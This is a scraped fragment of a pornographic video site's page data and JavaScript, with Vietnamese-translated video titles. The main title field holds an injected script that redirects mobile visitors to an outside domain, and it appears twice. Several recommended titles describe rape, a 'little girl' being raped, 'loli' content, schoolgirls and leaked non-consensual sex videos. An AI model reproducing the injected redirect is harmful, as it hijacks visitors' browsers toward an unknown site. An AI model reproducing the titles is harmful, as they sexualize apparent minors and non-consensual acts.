</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Tuyển tập tương phản về đời sống riêng tư dâm đãng của 9 nữ sinh và nữ thần: Thuần khiết và lạnh lùng, nhưng cuối cùng lại là một con điếm nhỏ dâm dục
Tuyển tập tương phản về đời sống riêng tư dâm đãng của 9 nữ sinh và nữ thần: Thuần khiết và lạnh lùng, nhưng cuối cùng lại là một con điếm nhỏ dâm dục","site_id":0,"video_url":"https://kjbwhcnao.com/20260709/VDs6hWf7/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvODdiZDA5ZjAyZjUzZmZiMDgyM2EwNjhhNjgwYzA3ZGQuanBn.cache","duration":"27:01","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["反差精选9位学妹和女神的淫乱私生活清纯高冷最终还是淫荡小母狗","s_keywords":"反差精选9位学妹和女神的淫乱私生活清纯高冷最终还是淫荡小母狗","s_description":"Tuyển tập tương phản về đời sống riêng tư dâm đãng của 9 nữ sinh và nữ thần: Thuần khiết và lạnh lùng, nhưng cuối cùng lại là một con điếm nhỏ dâm dục","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWQyMmFlMDE4NDExZTlmNzMxYzAxMTI3NzU3OGU4NzkuanBn.cache","vod_id":19054788,"title":"Các bài báo trực tuyến - \"[Người vợ mẫu mực] Cô vợ giàu có ở Phúc Châu vượt ngàn dặm đường để dâng hiến thân mình cho kỹ nữ ~ Người phụ nữ dâm đãng và lăng loàn nhất trên giường\"","lastmod":"2025-03-19","duration":"23:52","url":"/play/19054788.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzBiYTg5ZDllZmQ2MGU0OGRkMDBkNjFiNDc4YjU0Y2QuanBn.cache","vod_id":19063538,"title":"Nữ thần tóc ngắn, thanh lịch với làn da trắng như tuyết và thân hình quyến rũ đã tiến lại gần Xiao Chen một cách đáng kinh ngạc. Xiao Chen cố gắng thuyết phục cô quan hệ tình dục không dùng bao cao su, nhưng không thành công. Sau đó, nữ thần rời đi để tiếp tục cuộc yêu.","lastmod":"2025-03-19","duration":"48:24","url":"/play/19063538.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2UxY2E1ZmQzMGFkY2Q4MzRjMDIyZWNmOTE1MTk3OTMuanBn.cache","vod_id":18931252,"title":"Con chó cái to lớn nhìn từ phía sau","lastmod":"2025-03-19","duration":"00:00:20","url":"/play/18931252.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOGIwMWFlMmJkNWRlODg0OGVlYmE2M2FmMDE5Y2M3MDUuanBn.cache","vod_id":19120568,"title":"Cuộc sống bí mật của một chuyên viên massage ngực cỡ G (HMN-673-C): Massage vùng kín hầu như không chạm vào dương vật và những lời thì thầm kích thích năm giác quan","lastmod":"2026-05-14","duration":"02:23:49","url":"/play/19120568.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDhkZTczMmNiOGI2ZjRjNTRmY2NkYjAwODZkZTljYjMuanBn.cache","vod_id":19003514,"title":"DSVR-1128 [VR] Màn trình diễn 4P ngược đầy khiêu gợi của Triple Beauty, Núm vú không bao giờ bị bỏ quên! Luôn kích thích cả hai núm vú - cd1","lastmod":"2025-03-19","duration":"35:02","url":"/play/19003514.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWQ1MzY1MWQ3NDQyNmMxZWVkZGE2NjQ5OTA4N2RiNWYuanBn.cache","vod_id":18998680,"title":"Quần tất đen và quần tất lưới, con nhỏ này chơi PUBG giỏi thật đấy!","lastmod":"2025-03-19","duration":"07:14","url":"/play/18998680.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzAwMTQzN2U0ZDE0N2JkYTk5Njg0N2JkODU2M2ZmNzUuanBn.cache","vod_id":19112106,"title":"#Nổi bật #Quan hệ tình dục bằng miệng Nữ sinh viên còn rất trẻ, kỹ năng quan hệ bằng miệng của cô ấy thật tuyệt vời 1 (1)","lastmod":"2026-02-03","duration":"02:20","url":"/play/19112106.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzkwNjNjNTZkNjA4ODA5MzI5M2U1Y2UyMTQ0YjBjY2EuanBn.cache","vod_id":18956102,"title":"Sự xuất hiện của Nữ thần, sự dâm dục của Con đàn bà lẳng lơ, Phần 2","lastmod":"2025-03-19","duration":"03:36","url":"/play/18956102.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWM3ZjM2YzY1MGI2N2ZiOWE4ODllZjVjZWYyNzY2MTQuanBn.cache","vod_id":19004673,"title":"—Natalie Portman, nữ thần quyến rũ tột đỉnh","lastmod":"2025-03-19","duration":"24:07","url":"/play/19004673.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjdmNjM2NDRiZmQ3Mzg0YzBjOWMwODA0MDY4NjczOTguanBn.cache","vod_id":19040025,"title":"Cô gái trẻ lẳng lơ đó nói rằng tôi không thể làm cô ta thỏa mãn, nên cô ta đã rủ các anh trai của mình đến để quan hệ tình dục với cô ta.","lastmod":"2025-03-19","duration":"00:00:58","url":"/play/19040025.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzU1YWYxMWQwZjM4NTAyYjgzYjdhYmU0Y2EwNjEyMTQuanBn.cache","vod_id":18925988,"title":"[Chương trình đặc biệt mừng năm mới của SWAG] Nữ thần ngực khủng 'Vũ Mạnh Mộng' - Huấn luyện nô lệ một ngày - Phần 1","lastmod":"2025-03-19","duration":"27:17","url":"/play/18925988.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGE3ZThlZmIxODUzZTQ3NzVjZTBlYjJmM2Q5N2RiOTIuanBn.cache","vod_id":19038318,"title":"91KK Bro (Anh chàng nhà giàu thế hệ đầu tiên) - Cuộc chiến trong phòng tổng thống với một nữ thần tất đen hàng đầu đến từ một nền tảng nào đó, sinh năm 1994.","lastmod":"2025-03-19","duration":"31:32","url":"/play/19038318.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmYwMmJhNmRiZTkzNTM5YzEyNGMwODI2NjU1ZDQ3ZGQuanBn.cache","vod_id":19066098,"title":"#CôGáiLoliĐầuChóVớiKheGăngTay","lastmod":"2025-03-20","duration":"00:00:55","url":"/play/19066098.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGM0MDMwY2ZiYjY4MmI4NDFkZWUzNjcwNjM3MDg0NWYuanBn.cache","vod_id":18930411,"title":"Trái tim dâm dục của một người đẹp ngây thơ","lastmod":"2025-03-19","duration":"00:00:30","url":"/play/18930411.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDgvMmUzYjA5Njc0ZmJhOTUxODMyZDhjNTJkNjFmNjU3YjEuanBn.cache","vod_id":19078026,"title":"MIMK-195 Hình phạt ngoài đời thực thất bại: Hai nữ sinh trung học hư hỏng đã bắt cóc em trai mình. Một sản phẩm hợp tác độc đáo với Unrealistic Body!","lastmod":"2025-04-08","duration":"01:40:23","url":"/play/19078026.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODJlOWUzYjE3MGFkNDE5YjQxMDg5NDNiOTVkMDdhNDUuanBn.cache","vod_id":19121688,"title":"Mizuna Rei - RCT-642 Một Gia Đình Biến Thái ~Cuộc Sống Thường Nhật Bất Thường của Gia Đình Sato~","lastmod":"2026-05-14","duration":"04:00:49","url":"/play/19121688.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzViZTQwNWM5MTI3NWQ1Y2ViYTVhYTM0ODYzZWZiMmUuanBn.cache","vod_id":19041934,"title":"[Cô gái trẻ] Một cô bé ngây thơ, xinh xắn bị kẹp giữa hai người đàn ông và bị thay phiên nhau cưỡng hiếp. Thật đáng tiếc cho một cô bé có làn da trắng hồng như vậy.","lastmod":"2025-03-19","duration":"36:45","url":"/play/19041934.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWM0MzZiYTEwNTFjZjkwYjEyMTBmMmFmYmM3N2UxZjkuanBn.cache","vod_id":18942329,"title":"ABP-931 Cuộc Sống Thế Giới Khác Của Tôi ACT.04 Giới Tính Mạnh Mẽ","lastmod":"2025-03-19","duration":"02:42:36","url":"/play/18942329.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDAyMDc5M2Q1OGMyNDg1MzhiOTlkNDk4MDVlNWQ0ZmEuanBn.cache","vod_id":19120748,"title":"Nữ thần ngọt ngào trong bộ đồ lót dây đeo chủ động quỳ xuống và liếm dương vật trước khi bị quan hệ tình dục mạnh mẽ từ phía sau.","lastmod":"2026-05-14","duration":"25:07","url":"/play/19120748.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzMzN2ZhZDg1MWJhYTRjOWNiMzllNzFjYjNkMGViZWYuanBn.cache","vod_id":18934020,"title":"Cuộc sống phóng túng của một phụ nữ Đài Loan táo bạo với bạn trai người nước ngoài","lastmod":"2025-03-19","duration":"06:00","url":"/play/18934020.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjczZTZlYWRkZTRhOGI0MWI0ZGRkODVmZjU2Nzc1OGUuanBn.cache","vod_id":19122051,"title":"Video sex bị rò rỉ của \"Nữ thần thuần khiết\" đang thực hiện động tác xoạc chân bị lộ trên mạng.","lastmod":"2026-05-14","duration":"12:54","url":"/play/19122051.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWFiZGExN2VjZDBjMTY2MzY0MGQyMzE5MjYwZmE1M2MuanBn.cache","vod_id":18944911,"title":"Nữ thần bị hiếp dâm, tập 4","lastmod":"2025-03-19","duration":"02:08","url":"/play/18944911.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjZjYjBjYjFjNDViYmExOGRiNTliMTExOWYxZTZkOWUuanBn.cache","vod_id":19110976,"title":"Một nữ thần nổi tiếng trên mạng với vòng một khủng tự sướng một cách quyến rũ, biểu diễn những điệu nhảy khiêu gợi và dùng dương vật giả để thâm nhập vào âm đạo rộng lớn, dâm đãng của mình.","lastmod":"2026-02-03","duration":"19:15","url":"/play/19110976.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmM1NWM3MjIwMDNkZGNkZTY2NDExOTQ0ZjMxMzRhODEuanBn.cache","vod_id":18958929,"title":"Đụ con điếm của tao thật mạnh","lastmod":"2025-03-19","duration":"23:47","url":"/play/18958929.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Tuyển tập tương phản về đời sống riêng tư dâm đãng của 9 nữ sinh và nữ thần: Thuần khiết và lạnh lùng, nhưng cuối cùng lại là một con điếm nhỏ dâm dục',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}